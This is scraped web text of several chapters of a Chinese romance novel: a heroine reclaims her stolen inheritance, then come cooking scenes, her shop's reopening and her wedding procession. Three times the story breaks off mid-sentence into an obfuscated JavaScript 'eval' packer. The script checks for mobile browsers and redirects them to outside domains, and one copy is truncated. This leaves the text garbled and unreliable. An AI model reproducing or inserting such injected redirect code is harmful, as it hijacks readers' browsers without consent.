苏家的祖厝已经空了很多年了，现下说是祖厝，带不如说是慢慢地变成了祠堂，除了忌日、逢年过节的会有人过来烧香烧纸，平日里这儿压根不会有人踏足。 苏旺自认为在这儿躲着很是妥当，没想到屁股还没坐热，他就听见了外头传来一阵骚动。 苏旺的儿子苏顺紧张地抱住怀里的银两，“爹……该不会是苏月娘和那个黑大个过来了吧！” “嘘！说不定是哪个皮孩子过来玩了！” 话音刚落，一阵听起来十分沉重急促的脚步声交杂着接二连三的踹门声传来。 苏旺苏顺父子二人吓得屏息凝神，直往一旁的残墙边躲。 “爹，那群人真的找过来了……咱们从这儿跳出去！”苏顺指了指墙角的一个大狗洞。 苏旺咬了咬牙，“走！” 苏旺一下子猛趴在地上，脑袋钻入了那个大洞里。 怎知苏旺的屁股刚进墙洞一半，这间房的门便被一下子踹开。 “苏旺，你给我站着！”林富贵高举着镰刀，快步冲上前去，将钻了一半的苏旺一把拽回。 就这样，一行人架着苏旺父子俩去了祖厝正堂。 姗姗来迟的几个老者看到苏旺苏顺父子二人被几个外姓人这么狼狈地架着过来，一时间又气又恨，张着缺了好几颗牙的瘪嘴，就要对着林富贵等人一顿痛骂。 来镇场子的那几个男人看那几个老头即将发作，连忙走过去，凑到那几个老头边上，嘀咕了几句。 老头们脸色一正，将到了嘴边的怒骂咽回了肚子里面。 林富贵可不管这是哪儿，反正他占了理，他就先那几个老头一步走到侧边入座，“苏旺在我妹夫过身之后是怎么对待月娘的大家也都有目共睹！现在月娘经我做媒要成亲了，这个苏旺竟然两次三番地带人要去抢月娘！” 几位老头对此事自然是有所耳闻，但谁家孤女不是看叔伯眼色生活，听从叔伯意思出嫁？ 他们不愿意沾染这些杂事，便就没有在苏月娘的爹走后，特意去关照过苏月娘。 方才那几个看着十分凶神恶煞的后生与他们说苏月娘已经打通了官府那里的关系，他们若想偏袒苏旺，还得掂量掂量知县大人能不能得罪得起。 一个本家里游手好闲又好吃懒做的晚辈与一个当官的比起来，老头们自然是选择后者。 “你们说想怎么处理这件事？”岁数最大的那个老头入座后，将问题抛回给了林富贵。 林富贵清了清嗓子，“当年我妹夫走的时候就对苏旺千叮咛万嘱咐要帮着照顾好月娘……没想到人才刚下葬，他就占了我妹夫留给月娘的店，还住到了月娘家里，卖了月娘的田地！” “那些身外之物没了就没了，可这个没人性的居然还想将月娘这个漂漂亮亮的黄花大闺女卖给你们镇上腿瘸的当第三个媳妇！” “我们要的不多，苏旺把私吞的钱吐出来！再把月娘的户籍交出来！” 围在正堂口看热闹的几个厝边听着林富贵的数落，纷纷出声证实苏旺的所作所为。 苏旺一听自己做的好事被当众说出，立马急了，“诶不是……” 林富贵压根不给苏旺反驳的机会。 “怎么？把钱花了？没关系！你手头还剩多少，就给多少！” 许东山看林富贵眼色行事，一把抢过苏顺怀里的钱财，狠狠丢到了桌上。 “你凭什么抢我的钱！堂伯堂叔！您就眼睁睁地看着自家人的钱被几个外姓人抢走吗！”苏旺冲着前头那几位老头一顿哭嚎。 老头们哪敢再管他？为首那位冷斥道：“你给我闭嘴！” 小包袱被丢在桌上，里头的钱财叮呤当啷地响着，坐在正中的几个老头眼皮子一跳。 以前开小吃店的苏家多富他们是知道的，苏旺父子俩从孤苦无依又手无缚鸡之力的苏月娘手里抢走多少钱……只怕只多不少。 “月娘你过来数一数，差了多少！”林富贵对神气地站在自己身后的外甥女招了招手。 “诶！” 如今自己做了头家的苏月娘数起钱来那叫一个麻利又准确，她不仅手上数嘴上也数。 点完铜钱与钱票，没法算的银两便大概掂了掂。 这钱，可真不少！ “阿舅，钱少了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406453|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “看他这怂样子大概也还不上了！先把人带回去拿月娘的户籍吧！”林富贵睥睨着苏旺，冷笑了一声。 苏旺冷汗淋漓，预感不好，可摁着他的林大松力气极大，他挣脱不开一点。 就这样，苏旺和苏顺被一行人押着回到了苏家去。 …… 苏旺是个懒汉，懒得干活也不善经营，从前靠着弟弟的接济度日，后来还干倒了弟弟的小吃店。 小吃店倒闭后，苏旺便带着苏顺住到小吃店宽敞的后屋里。 时隔半年，苏月娘再次踏入自己从小住到大的家—— 她差点没能认出这是自己住了快二十年的家。 原先宽敞明亮又干净的大屋子，如今破破烂烂，一地脏污，也不知道这对懒父子究竟多久没有打扫过…… 林富贵督着苏旺去取了苏月娘的户籍，命儿子和那几个来帮忙的男人将苏家父子控制在后面，自己拿着户籍去到前头。 “月娘，你先跟阿山去县衙把户籍的事情办了，苏旺这个混蛋阿舅来解决！”林富贵笑着看着外甥女和许东山牵着手走远了，转身的瞬间，他面上的表情变得阴沉又狠恶。 再次回到后屋，苏旺与苏顺父子俩已经被押着跪下了。 “我警告你们别乱来啊！这里可是姓苏的地盘！”苏旺心头突突狂跳，可迎接他的便是林富贵结结实实的一巴掌。 脸面是一个人除了性命之外最重要的东西，扇人脸面，是最能羞辱他人的一种方式。 苏旺被打懵了，一股鲜血从嘴角流出，一阵天旋地转过后，瘫软在地上。 苏顺看到自己爹被扇了脸，急得要站起来还手，可惜寡不敌众，他被身边的几个人提溜起来，押到大水缸边，一把摁进去。 “呜……呜……” 毫无防备的苏顺呛了一大口水，欲要抬头，却又被被迫摁在水里。 冰凉的水，仿若一根根尖锐的针，要穿入他的皮肤，让他浑身麻痹，一股热流，从他裤子里慢慢流下。 正当苏顺快要窒息时，那些人却又将他提了起来。 苏顺以为劫后余生时，却听见林富贵冷冰冰的一句话： “月娘说这小子没少帮着他爹抢他的钱……命留着，但怎么折腾……随你们！” “阿舅！”苏月娘的身影出现在了门边。 林富贵皱眉，“我不是让你……” 苏月娘冷笑，“如今阿舅表哥来给我撑腰了，我也不必怕他什么了！” 任谁都没想到苏月娘这个平日里冲谁都笑的好脾气姑娘，现下竟然如气急的兔子一般发了疯。 她抬起腿，对着苏旺的胸口狠狠一踹，苏旺被踹得喷血后仰，苏月娘也一瞬站不稳。 所幸许东山及时护在她身后，才免了她一摔。 “我爹在世的时候你对我们父女二人百般讨好！我爹才刚下葬，你就原形毕露，抢我爹给我留下的田地钱财，占了我的店铺屋厝！” “苏旺！你这狼心狗肺的东西，你不得好死！” 苏月娘在苏旺手底下委屈了数年，若不是林富贵偶然过来看她，带她走出清河镇，不然，如今的她会如何……她都不敢想。 林富贵和林大松牢牢抓着苏旺，任由苏月娘对着他拳打脚踢至满脸是血的他翻眼昏厥，才对许东山使了个眼色。 许东山强行抱着哭得不成样子的苏月娘离开了后屋。 前屋只有他们两人在。 苏月娘哭得失了声。 许东山紧紧将她抱在怀里，轻声道： “月娘，接下来都是好日子了……” 52. 七彩干贝汤 这一日过得匆匆忙忙的。 教训过了苏旺父子、解决了户籍的事情，苏月娘又在许东山的陪同下，去清河镇的后山祭拜了父母。 一到父母被野草包围的墓前，苏月娘方才好不容易止住的眼泪又掉了下来。 身为未来女婿的许东山亲手为未来岳父岳母除了坟前草、清扫了碑前灰，在苏月娘跪下时，他毫不犹豫地跟着跪下了。 在青碑褐土之前，许东山郑重地承诺自己会一辈子好好照顾苏月娘，不会让她吃半点苦。 若有违背，定叫天公降雷，将他劈死。 …… 次日清早，一行人离开了清河镇。 领着一大笔钱财和一纸户籍正式离开生活了将近二十年的故土，苏月娘虽心有不舍，却因即将奔赴新的生活而一心轻松。 在浮桥与林富贵父子分别时，思虑许久的许东山提出了等苏月娘过生辰那日过来提亲。 林富贵和林大松父子俩你看看我，我看看你，两人皆是一脸不赞同的模样。 “月娘还有五日就过生辰了，你这亲得提得有多草率！不成不成！”林富贵已经自觉地将自己放在苏月娘父亲的位置上。 他可不会允许苏月娘的婚事如此草率！ “提亲的事情我已经准备许久了，前段时日我已经将家里的几块地长租出去换了点银子，再加上我娘留下的一些首饰……虽然不多……但……” 林富贵抬手打断了许东山的话，他看向苏月娘。 “月娘，你愿意吗？” 苏月娘瞄了一眼许东山，这人紧紧地看着她，黑亮的眼仁流露出坚定与期待。 她朝他笑了笑，主动挽住他的胳膊，“我当然愿意。” “那行吧！月娘过生辰那天，你过来跟我提亲！” 苏月娘能感觉到身边的人悄悄地松了一口气。 就是不知道他们两人朝夕相处，他是如何背着她准备提亲的事情…… …… 踏上归途，苏月娘如来时那般坐在许东山身前，被他牢牢地圈在了怀中。 大概是刚得了林富贵的许可，许东山心情好得很，在苏月娘掐着他虎口处的硬疤玩时，他还翻过手来，轻轻捏住了她小小的手掌，粗砺的指腹在她掌心挠了挠。 苏月娘手心怕痒，许东山挠没有两下，她就合起手掌，不允他再挠了。 “只许州官放火，不许百姓点灯！” 身后传来男人愉悦的“控诉”，苏月娘笑出了声： “我倒想问问你是什么时候背着我准备提亲的？我怎么没有一丝察觉？” 对于这事儿，许东山倒也没有打算瞒她。 “前几日我去帮我师兄干活，下了工后，我顺带去与人谈出租后山那几块地的事情，事情谈得还算顺利，我也一口气收了五年的地租……” 苏月娘是知道许家后山还有地的，也知道许东山年初还没来得及播种，就当上了厨子，那几块地也就暂时荒废在那。 “这般也好，以后你跟着我做事必然是种不了地的，与其让田地荒废在那儿，不如赁点钱用。” “另外我娘留下了点首饰，当时春喜出嫁，我拨了些给她做嫁妆，剩下的数量虽不算多，但要拿去典当，也能换不少钱……” 许东山一路上仔仔细细地将他的所有托盘而出。 不太富有也不算贫穷，虽然比起苏月娘还差了一截，但他有能遮风避雨的厝和能够轻易征服人胃口的厨艺—— 对苏月娘来说，足够了。 —— 五日时光一晃而过，苏月娘亲眼看着许东山变戏法似的准备了六担东西。 因为许东山父母双亡，又与亲二叔闹掰了，所以许东山只能请两个关系稍微近一些的堂叔伯跟着自己去浮桥提亲。 离正午还有一个多时辰，许东山带着苏月娘和两位堂叔伯，拉着六担子去了林家提亲。 在这个好日子，苏月娘特意穿了一身新的红布衣衫，略施脂粉，整个人瞧起来娇艳明媚，好似三月天里的桃花。 一入门，苏月娘便跑到表嫂与阿妗那儿站着。 接待许家三位来客的事情就全然交给阿舅与表哥。 有许春喜和林大松的婚事在前，苏月娘和许东山再结亲就可称得上是亲上加亲了。 林富贵看在儿媳妇的面子上，就不多加刁难许东山了，与许家叔伯谈亲事时就只是简单地问询了几句寻常人家都会问的，得到了许东山的承诺后，他就结束了过场，点头答应将苏月娘嫁给许东山。 后来林富贵和许家的叔伯又做了什么事苏月娘就不大清楚了，因为许东山提早一步入了厨房，准备中午的提亲席了。 张氏和许春喜婆媳俩原还坐在堂屋里坚持着听那三个男人吹牛，后来闻见了厨房飘来阵阵勾人的香味，婆媳俩便互相使了个眼色，前后脚溜走了。 林大松在那儿亦是听得如坐针毡，后来索性装都懒得装了，假借解手的由头跟着媳妇娘一块儿去厨房待着了。 事实证明，听林富贵和那两个许家叔伯胡乱吹牛皮可不比看许东山做菜备席来得有趣。 林大松一踏入厨房，就看见媳妇、娘、表妹三人有说有笑地围在灶边吃刚出锅的醋肉。 三人将醋肉咬得嘎吱作响，嘴唇上还映着一片发亮的油光。 “你来啦？快别闲着了，去帮你大舅哥干活！”林大松的手还没靠近那盆醋肉，就被张氏支使去给许东山打下手。 林大松叹了口气，将手收了回去。 他原还想趁这个好日子给大舅哥摆摆当大舅哥的谱，没想到自己娘亲会如此不给面子。 罢了罢了，他大概自来就没有做大哥的气势。 许东山也是做惯了林大松的大舅哥，林大松一靠近，他就顺手将手边的一盆鱿鱼和虾递给林大松。 “把鱿鱼洗干净切成圈，虾剥完壳抓一把切丁，剩下的用手搅到黏糊。” 闽南人过生辰，卤面是必不可少的。 林大松瞧见灶边还摆着鹌鹑蛋、海蛎，便极有眼力见地一齐带去外头处理了。 今日的午饭虽只有自家人在，但许东山还是照着办宴席的标准备菜。 什么紫菜蛋花汤、丝瓜花蛤汤显然是入不了许东山的眼，老鸭汤、排骨海带汤又需要长时间炖煮才能炖出滋味。 所以，许东山在一众适宜宴席的汤里选择了最家常的“七彩干贝汤”。 七彩干贝汤用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411115|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料很是丰富。（1） 干贝、虾仁、蟹肉、发菜、金针菜、红菜、芹菜正好七样。 许东山处理刚蒸好的两只螃蟹时，盯了发菜许久的苏月娘还是没忍住，走到案板边，用手捞起水中浸泡着的发菜。 发菜又黑又细，无论是干还是湿，瞧着都像是头发。 “以前我哥刚在宴席班子学了点皮毛，就回家给我和我爹做，他做得最多的就是这七彩干贝汤！那时候我哥还哄我过去玩泡在水里的发菜，实际上就是骗我将发菜分一分扯一扯！” 听了许春喜提起的往事，苏月娘看向正在认真抠蟹肉的许东山。 没想到，看着如此不苟言笑的许大厨，从前也是个爱逗妹妹的小少年。 察觉到苏月娘的视线，许东山挑了挑眉，看她冲他笑了，他顺手捏起两只螃蟹的蟹黄塞到她嘴里。 油润肥美的蟹黄塞了满口的苏月娘忙不迭地嚼着蟹黄，品尝着这来自秋日的馈赠。 许春喜又悄悄同张氏道：“娘您瞧！我哥多会疼人！以前这蟹黄可都是我的！” …… 等林大松给虾仁剥好壳切了丁，七彩干贝汤便可以开始做了。 水滚之后倒入一小把姜丝、红菜、干贝碎煮至水面冒大泡，接着撇去水面发红的浮沫，过后依次放入蟹肉丝、金针菜、发菜、虾仁丁。 稍煮了一会儿，滚水从锅底翻出一个又一个的沸泡，将红的、白的、金黄的、黑的食材翻滚得极为均匀。 简单的几样调味紧接着倒入沸腾的汤水中，七彩干贝汤至此已初具鲜香与模样。 七彩干贝汤又名七彩干贝羹，质地粘稠的才属正宗。 最后倒入芹菜碎、地瓜粉水以及小半碗没有打发的蛋清，用大锅勺反复翻倒几次，锅中原先稀稀的汤水随着地瓜粉水的扩散浓缩，慢慢变得浓稠起来，倒搅上搅下不易流动的程度，这七彩干贝汤才算完成。 七彩干贝汤有各样海货作为主味的鲜，又有芹菜碎、姜丝、胡椒粉作为辅料的辛香，光闻味道就知道这七彩干贝汤定味甘鲜美。 …… 今日许东山和林大松一齐做足了八菜一汤一卤面。 这一席面一出，许家那两个用来凑场子的堂叔伯眼睛都亮了。 个个直说这是沾了苏月娘的光才能吃上本家侄子亲手做的席面。 苏月娘与许东山这对未婚夫妻在众人有意无意的撮合下坐到了一起。 许东山端起小菜碗一圈的汤碗，盛了一满碗七彩干贝汤放在了苏月娘的面前。 桌上旁的人瞧了，纷纷露出了带了点意味的笑，而许春喜这个胆大的，竟带头说笑起了自家哥哥。 “我还未曾见过我哥如此贴心呢！今日，倒是让我这个做妹妹的开了眼了！” 许春喜光顾着调侃许东山，都忽略了林大松递来的七彩干贝汤，这搞得林大松有些郁闷。 许东山眼色淡淡地瞥了许春喜一眼，到底是没说旁的。 若今天不是来提亲的，他定然会摆出做大哥的架子，呵斥这个没大没小的许春喜两句。 苏月娘被众人看得有些不好意思，忙低头喝一口浓郁鲜香的七彩干贝汤，再端起卤面，一刻不停地吃着。 53. 桔红糕 好事要趁早，两家长辈将成亲的日子定在了诸事皆宜的十月十五。 林富贵和张氏原想留苏月娘在浮桥住到出嫁，但苏月娘心里惦记着正在更换桌椅招牌的店铺，便委婉地拒绝了阿舅与阿妗的邀请。 再次回到凤池，手脚麻利的林木匠交付了最后一套桌椅和新的招牌。 应苏月娘的要求，这招牌重新更了名，由先前的“月娘面线糊店”改为“月娘小吃铺”。 毕竟店里除了面线糊，还卖其他的东西，再以面线糊店为名，怕是不大妥当。 将店里收拾妥当过后，苏月娘与许东山一起去关帝庙帝爷公面前祈了愿，还托关帝庙门口的半仙算了个开业的好日子。 数个好日子摆在苏月娘面前，苏月娘果断地选了最近的九月初九。 月娘小吃铺开业那日，昔日旧客与厝边头尾都来庆贺。 刘昌还亲手题写了一副庆联，让苏月娘张贴在大门两侧。 两大串挂在屋檐下的长蛇鞭炮自然垂下，一直蔓延到了一旁的地面，点燃了引线，火花顺着引线一路上窜，点燃了鞭炮。 一片噼里啪啦的闹腾声中，红色的炮皮四处飞扬。 被鞭炮吓得到处乱跑的阿生在鞭炮响完之后称职地提着沉重的锣站在苏月娘和许东山身边用力地捶了两下。 苏月娘与许东山一齐揭开盖在招牌上的红布，比先前那块更加精致的新招牌展露在众人面前。 “今天是小店重新开业的头一天，为了讨个好彩头，今天无论吃什么，都只要付一半的钱！另外，今天正好是重阳，只要是五十岁以上的老人家过来，我们都会送一碗不用钱的排骨汤！” 当苏月娘宣布了这事儿之后，来凑热闹的众人纷纷叫好。 待月娘小吃铺正式开始营业，客人们纷纷涌入了店里。 好在许东山和临时过来帮忙的林大松提前备了吃食，不然指定应付不了这么多食客。 当然，许东山和林大松也没清闲多久。 月娘小吃铺今日只收一半钱还送老人家们排骨汤的消息一传十，十传百，客人们跟韭菜一般，一茬一茬地冒出来。 后来厨房里实在忙活不过来了，苏月娘便擦了手回厨房接手了煮米粉的活，给客人们送吃食和收拾碗筷桌面的活就留给了许春喜和红姑。 …… 月娘小吃铺的生意一直十分红火，虽然第二日不再减免饭钱，但客人们依旧乐意上门给苏月娘捧场。 林大松和许春喜两口子也就暂时在凤池住下了。 一连忙活了半个月，小吃铺的食客才稍微少了一些。 每日颠锅抡勺，累瘦一大圈的林大松见客人少了，激动得赶夜与许春喜商议回家的事情。 怎知道许春喜听了林大松的话，一把甩开他的手，直骂他是个不爱干活的懒骨头。 林大松揉着酸痛的胳膊那叫一个有苦难言。 但想着近来表妹与大舅哥不仅要忙店里的生意还要准备成亲的事情，小两口也不容易，大不了他再多干半个月就是。 相比于累得快要哭出来的林大松，许春喜倒是干劲十足的，她可是受了公婆之托过来帮着操办婚事的。 而许东山和苏月娘也是极为信任办事利落妥当的许春喜，成亲礼上的那些事情，都由许春喜帮着打点。 眼看着许东山和苏月娘的婚期将近，给厝边亲朋们惠糕惠粿的事情也该准备起来了。 对吃食要求不低的许春喜翻遍了周遭几个镇子都没找到一家味道能让她完全满意的糕点铺子。 为了糕粿的事情，许春喜没少发愁。 可某一日，许春喜竟然自己动手做了起来。 那些需要烘烤的糕粿，许春喜做不来，所以，她将目光放在了桔红糕上。 据传这桔红糕起源于安海镇，桔红糕洁白剔透，甜韧适中，老少皆宜，是节日吉日赠人的佳品。（1） 作坊出产的桔红糕口味不一，有的要一口能将牙甜掉，有的调味怪异桔味酸涩。 许春喜想做出甜而不腻，没有酸涩滋味的桔红糕。 每到店里不那么忙时，许春喜总会躲进厨房里，慢慢地调试桔红糕的配方。 苏月娘原先还对做桔红糕一窍不通，但许春喜做得多了，她在边上来来去去的，总能看懂一二。 苏月娘这个要做新嫁娘的总不能全然将准备糕粿的事情全然丢给许春喜，于是她特意挑了个客人少的时候同许春喜一起做桔红糕。 桔红糕若想味道好，甜味与金桔的味道必然得调和清楚，苏月娘今日才第一次上手做，熬煮果糖浆的事情还是由许春喜的做。 熬制大半碗冰糖、半碗切成得稀碎的金桔倒入水中盖上锅盖慢慢浓缩熬煮。 金桔味道大，才煮了一小会儿，金桔浓郁的香味便随着从锅盖边沿挤出的水汽涌了出来，隐隐有盖过另一边咸饭、炒米粉咸香的架势。 炒了一中午米粉的林大松原还一副满脸疲惫、半死不活的样子，一闻见金桔的清爽香气，顿时提神醒脑了起来。 等锅中的水分被煮干了一半，锅中汁液变得浓稠粘勺，金桔糖浆便算是做好了。 林大松挺喜欢金桔的香气的，见金桔糖浆出锅了，便厚着脸皮凑过去等着许春喜蘸一点给他尝尝。 许春喜本不想理这个贪嘴的，但这么个大脑袋凑在身后到底太过让人难以忽视。 “春喜嫂，你就可怜可怜我哥吧！他的口水都快滴到你肩上了！”苏月娘冲着许春喜一阵挤眉弄眼。 许春喜好一阵恶寒。 为了支走林大松这个烦人的傻大个，许春喜终究还是舀了一勺糖浆塞进他的嘴里。 今天的糖浆滋味比往日都好，甜，却不会发齁，林大松仔细品了一番，乐呵呵地夸道： “这糖浆味道正好！最后做出来的桔红糕应该会是你想要的！” 许春喜三言两语将林大松打发走后，她又取一把新的调羹，取了些糖浆送入口。 方才她还以为林大松在乱拍马屁，没想到今日的金桔糖浆竟然熬出了她想要的味道。 “没想到一点一点地调，还真让我调出了合适的味道！” 能让挑剔的许春喜夸赞的味道，定然是极好的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422251|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏月娘紧跟着许春喜舀了半勺品尝。 一旁的许东山看姑嫂二人你一口我一口地尝着金桔糖浆，心底有些担忧桔红糕还没做出来，她们两个就将糖浆吃光了。 好在这姑嫂二人尚有点分寸，余下的金桔糖浆得以“虎口逃生”。 有了风味最佳的金桔糖浆，余下的事情就简单了，只需将糖浆倒入细腻的糯米粉中，搅拌均匀，待到糯米粉与糖浆完全融合，成为一个质地柔软的浅橘色糯米面团，便可以送入蒸锅之中旺火蒸制一刻钟。 毕竟是许春喜辛苦钻研多日的配方，眼看着要成功了，众人皆是期待不已。 林大松和苏月娘兄妹二人心急得一模一样的，那块面团还没熟，两人就数次偷偷掀开蒸锅盖子，一探究竟。 一刻多钟之后，由皮糙肉厚不怕烫的许东山将蒸熟的面团从锅里取出。 桔红糕面团里的金桔碎经过蒸制，香味被完全激发出来，光闻就知道味道差不了。 面团还冒着灼人的汽儿，林大松的贼手便伸了去。 许春喜眼疾手快地将他打了回去。 苏月娘见此，眼巴巴地看了身边的许东山一眼。 许东山倒想给她弄一坨尝尝味道，但蒸熟的面团并不似其他菜品一般吹一吹就能变凉。 为了苏月娘的嘴不被烫破，许东山只能握住她的手，防着她对那坨滚烫的面团动手。 …… 桔红糕面团放在窗下吹了半个时辰，总算降了温度。 等待分了小块、裹上熟糯米粉，才能算是真正的桔红糕。 都到最后一步了，林大松和苏月娘还是克制住自己蠢蠢欲动的手，老实地帮着许春喜一起搓长了糕条，用刀切成小块，丢入装满熟糯米粉的大盆中。 最后再由许东山力度均匀地晃动大盆，糕团与糯米粉在半空中翻飞，最后又稳稳落回了盆中。 筛出多余的糯米粉后，桔红糕便可以开始食用了。 一人捏了一块新鲜出炉的桔红糕塞进嘴里，品味过后，不约而同地露出了满意的神色。 这桔红糕做出了许春喜想要的那种甜而不腻、糯而不沾的感觉。 柔软的糯米糕团中裹夹着三两块细碎的金桔皮，清淡的糯米香与浓郁的金桔香相得益彰，如此滋味胜过外头的千倍万倍。 “离你们俩成亲还有七日不到，我可得赶紧将送人的桔红糕做出来！”许春喜喜滋滋地又捏了一块桔红糕送到口中。 许东山不好甜糕，吃了一块后便不再见他伸手去拿，“那么多你做得过来？” 怎知许春喜拍拍手，笑道：“自然是做不过来。” 许东山皱眉，“那……” 许春喜连忙解释道：“前些时日我嫌弃隔壁镇的桔红糕太难吃了，不小心被作坊里的师傅听见了……为此我俩还吵了一架……” “后来那师傅争不过我，说只要我做出更好吃的桔红糕，就包了咱们送人的糕点！” 许东山听了缘由过后，有些哭笑不得，“难怪你这么积极地做桔红糕！” 许春喜，“能省钱的好事，不干白不干！” 54. 大喜日子 十月十五悄然而至。 冬日的泉州城依旧四处绿意盎然，若非清早一开门扉，寒风袭面而来，不然这外头的光景一如前三季那般生机勃勃。 许东山的目光落在两扇门扉上张贴着的双喜字，不自觉地露出一丝笑来。 许春喜一边在堂屋的大桌上摆着五果三牲，一边冲着傻站在门槛后的许东山嚷嚷道：“哥你别站那儿了！赶紧去准备换喜服！今天可是你和月娘的大喜日子！” “吃过中午饭才去接月娘，现在要是先穿了喜服，到午后肯定得皱。” “随你随你！既然你不换衣裳，那你一会儿就跟着红姑伯母他们去给厝边们惠糕！” …… 红姑和其他几个本家姑嫂上门取糕时，许东山也想跟着她们一起去惠糕，但从古至今就没人见过新郎官给厝边亲朋惠糕，红姑便强将许东山留在家里头。 离出门接新娘还久，许东山自然不可能真的待在家里什么都不做。 思来想去，他去到了凤池镇的祖厝看一看今晚宴席的排桌如何。 承办宴席的自然是老熟人黄阿三。 这会儿黄阿三已经开始领着几个学徒往祖厝的大院子里搬锅运食材了。 见当新郎官的师弟走进来这看看，那瞧瞧，黄阿三便走上前去，与他道喜。 “你到底是和你那表妹成一对了，让你来我这儿长干，怕是难喽！” 人逢喜事精神爽，许东山今天这一天难得眉眼带笑，面相看起来和善了不少。 “本来就没想在你这儿长干。” 黄阿三“嘁”了一声，“小小作坊能有我这宴席班子好？虽然你不在我这儿长干，但咱们可说好了，你的婚宴我也不是没条件便宜帮你办的，你那一身本事可得传给我的徒弟们！以后你只要有空，就上我这儿来，给他们提点一二！” 许东山就不是一个小气的人，不过是教些东西给那几个后生家罢了，这他还是做得到的。 “小事一桩！今天晚上师兄可别一直躲在后厨，我在前面给你留了个位置！” —— 用过午饭后，许东山更上了形式简单却颜色鲜亮的喜服，任由几个长辈帮着拾掇了仪容。 市井间粗糙惯了的大龄郎，经一顿捯饬，竟然也有了几分从未有过的风雅。 带上两个本家的傧相与数位叔伯兄弟再装上一车赠予林家的礼，一行人便浩浩荡荡地朝着浮桥出发了。 普通人家的迎亲定是不如那些有权有钱的人家那般庄重，两个吹乐一个敲锣的的在凤池镇奏了一段便歇了下来。 等骡子车步入了浮桥镇的地界，两个吹乐一个敲锣的又开始履行本职了。 镇上的乡亲们都爱凑热闹，一听有喜乐，知是谁家的与不知是谁家的都纷纷跟在迎亲队伍后头跟着一齐走。 自有通风报信的厝边帮着跑去林家叫唤林富贵两口子赶紧将新娘的面容藏好。 苏月娘一听说许东山已经到了镇上，不出两刻钟便会过来将自己接走，她的心脏噗通狂跳起来。 张氏抓着盖头过来时，就见外甥女面红如霞，笑容娇怯。 左右离许东山过来还有些时间，张氏便不急着给苏月娘蒙盖头，只是坐在床边，与她再念叨一次昨晚上说过的话。 与丈夫白日黑夜如何相处、如何操持内务倒是其次，最主要的还是受了委屈尽管回浮桥找亲人帮着撑腰。 絮絮叨叨说了一堆，喜乐声由远及近，张氏才急忙帮苏月娘盖上盖头。 此时，迎亲的一行人停在了林家外头。 先下车的几个兄弟在林家院子外扔了几串鞭炮。 林大松抱着臂，摆出他那难得能发挥一次的大舅哥谱，站在灰白色的硝烟后直盯着骑在骡背上的许东山看个不停。 鞭炮声终，许东山翻身下马，走在后头的叔伯兄弟们就开始往林家搬东西。 林大松站在正中央，免不得被大家伙碰来撞去的，他只好往边上走两步，换了个姿势站着。 随行的许春喜早自家哥哥一步跑到林大松身边。 “呦！你还懂摆谱了！”许春喜拉了拉林大松的胳膊，“等再见面了，你还是得被打回原形！所以你今天给我悠着点！” “我尽量我尽量！”眼看着许东山走到了跟前，林大松下意识又要冲着许东山喊一声大哥好，但话到嘴边，他猛然想起今天他才是大舅哥，那句大哥便咽下了。 让年纪稍大的许东山喊林大松哥到底是有些为难的。 许东山略过了称呼，“月娘都准备好了吧？” 还等着听许东山喊哥的林大松眉头一皱，“……” 许东山抿了抿唇，还是拉不下面子喊林大松哥，最后他从兜里掏出一串铜钱，当着许春喜的面交给了林大松。 林大松看着那串钱，面上一喜，任由许东山错身进屋，没想到许东山一走过脚，许春喜的手便伸过来了。 林大松，“……” 这妹夫也太不懂事了，也不知道偷偷把钱给他！ …… 苏月娘不是浮桥人，迎亲礼若是不多张罗一些，怕是会显得冷清。 为了能热闹一些，林富贵特地挑了几个性子虎一些的后生家帮着拦许东山闹一闹。 那些后生家看到长相唬人的许东山难免犯怵，但不知谁嚷嚷了一句反正以后也见不了几面后，大家伙便还是毫不留情地闹起了许东山。 许东山倒也很配合他们，一会儿夸苏月娘貌美如花，一会儿谈要与苏月娘山盟海誓。 屋里的苏月娘、许春喜以及张氏听许东山与语气一本正经地说那些俏皮话，笑得险些喘不上气了。 没过多久，许东山顺利脱了身，象征性地给大家发了喜钱后，便毫无阻碍地走入了苏月娘待的那间屋子里。 许东山进屋后，张氏便悄悄地从屋里退了出来。 这间屋子并不大，虽然那些凑热闹的女眷百般遮挡，但许东山还是凭借着身高优势一眼看见了坐在床上的苏月娘。 他的新娘盖着红盖头，穿着一身绣了许多花样的红喜服，坐姿端庄规矩…… 旁人都说姑娘在当新娘这一日最美，许东山当真好奇盖头下那张颜容究竟与平日有何区别。 方才那些年轻的子侄已经闹过新郎了，屋里的女眷也就只是收下新郎的贿赂钱，照着常俗教导了新郎几句，便退到一旁去，让新郎去接新娘。 今生头一回也是最后一回成亲，许东山紧张却又尽量装得从容，以此来珍惜他与苏月娘的大好日子。 